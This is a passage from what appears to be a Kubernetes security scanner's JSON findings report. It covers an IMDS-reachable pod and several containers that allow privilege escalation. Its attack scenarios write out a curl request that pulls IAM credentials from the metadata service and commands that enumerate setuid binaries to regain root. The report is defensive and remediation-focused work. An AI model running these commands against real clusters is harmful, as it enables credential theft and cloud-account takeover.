    "description": "Workload `Pod/foothold-exec/foothold-target` runs in namespace `foothold-exec` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Pod",
      "name": "foothold-target",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "workload",
      "detail": "Workload `Pod/foothold-exec/foothold-target`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Pod/foothold-exec/foothold-target` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Pod",
      "workload_name": "foothold-target",
      "workload_namespace": "foothold-exec"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `foothold-exec` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec foothold-target -n foothold-exec -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:flat-network:api:api",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `api` allows privilege escalation in `Deployment/flat-network/api`",
    "description": "Container `api` in `Deployment/flat-network/api` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "api",
      "namespace": "flat-network",
      "api_group": "apps"
    },
    "namespace": "flat-network",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/flat-network/api`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "api"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n flat-network -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:DaemonSet:rbac-fixtures:daemon-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `DaemonSet/rbac-fixtures/daemon-app`",
    "description": "Container `app` in `DaemonSet/rbac-fixtures/daemon-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "DaemonSet",
      "name": "daemon-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `DaemonSet/rbac-fixtures/daemon-app`, runs on **every** node (per-node blast radius)"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n rbac-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:cloud-eks-test:imds-pivot-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/cloud-eks-test/imds-pivot-app`",
    "description": "Container `app` in `Deployment/cloud-eks-test/imds-pivot-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-pivot-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/imds-pivot-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n cloud-eks-test -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:cloud-eks-test:irsa-admin-app:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/cloud-eks-test/irsa-admin-app`",
    "description": "Container `app` in `Deployment/cloud-eks-test/irsa-admin-app` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "irsa-admin-app",
      "namespace": "cloud-eks-test",
      "api_group": "apps"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/cloud-eks-test/irsa-admin-app`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n cloud-eks-test -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:containersec-fixtures:containersec-image:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/containersec-fixtures/containersec-image`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-image` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-image",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-image`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n containersec-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:containersec-fixtures:containersec-lifecycle:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/containersec-fixtures/containersec-lifecycle`",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-lifecycle` either omits `securityContext.allowPrivilegeEscalation` or sets it to `true`. This directly controls the `no_new_privs` Linux process flag: when `allowPrivilegeEscalation: false`, the kernel sets `NoNewPrivs: 1` on PID 1 in the container, and any subsequent `execve()` call cannot acquire additional privileges via setuid/setgid binaries, file capabilities, or LSM transitions.\n\nLeaving the field unset is dangerous because the runtime default is `true` for backward compatibility. If the container image happens to contain a setuid binary (even an inadvertent one from the base image, like `mount`, `ping`, `su`, or vendor agent helpers), an attacker who lands as a non-root user inside the container can re-acquire root just by exec'ing it.\n\nThe Pod Security Standards Restricted profile mandates `allowPrivilegeEscalation: false` precisely because it is the gate that makes capability drops and runAsNonRoot meaningful.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-lifecycle",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-lifecycle`"
    },
    "impact": "If an attacker lands as a non-root user, they can re-acquire root via setuid binaries; defeats capability drops and runAsNonRoot defenses.",
    "attack_scenario": [
      "Gain code execution as a non-root user (web RCE in a Node/Python/Java app).",
      "Enumerate setuid binaries: `find / -perm -4000 -type f 2\u003e/dev/null` (often returns `/usr/bin/passwd`, `/bin/su`, `/bin/mount`, `/usr/bin/newuidmap`).",
      "Exploit one: `su -` if password-less, or a known setuid CVE.",
      "Once root in-container, restore previously-dropped capabilities via setcap-style techniques or chain with another finding."
    ],
    "evidence": {
      "container": "app"
    },
    "remediation": "Set `allowPrivilegeEscalation: false` on every container.",
    "remediation_steps": [
      "Add `allowPrivilegeEscalation: false` to each container's `securityContext`. Pair with `capabilities.drop: [ALL]` and `runAsNonRoot: true`.",
      "Build/pull images that don't contain setuid binaries; alternatively strip setuid bits in Dockerfile (`find / -perm -4000 -exec chmod u-s {} +`).",
      "Apply Pod Security Admission `restricted` to the namespace.",
      "Validate: `kubectl get pod -n containersec-fixtures -l \u003cselector\u003e -o jsonpath='{.items[*].spec.containers[*].securityContext.allowPrivilegeEscalation}'` returns `false` for every container."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/",
      "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Christophe Tafani-Dereeper — Stop worrying about allowPrivilegeEscalation",
        "url": "https://blog.christophetd.fr/stop-worrying-about-allowprivilegeescalation/"
      },
      {
        "title": "kernel.org — prctl(PR_SET_NO_NEW_PRIVS)",
        "url": "https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1548.001",
        "name": "Setuid and Setgid",
        "url": "https://attack.mitre.org/techniques/T1548/001/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.5",
        "title": "Minimize the admission of containers with allowPrivilegeEscalation",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:allowPrivilegeEscalation"
    ]
  },
  {
    "id": "KUBE-PODSEC-APE-001:Deployment:containersec-fixtures:containersec-limits:app",
    "rule_id": "KUBE-PODSEC-APE-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "privilege_escalation",
    "title": "Container `app` allows privilege escalation in `Deployment/containersec-fixtures/containersec-limits`",
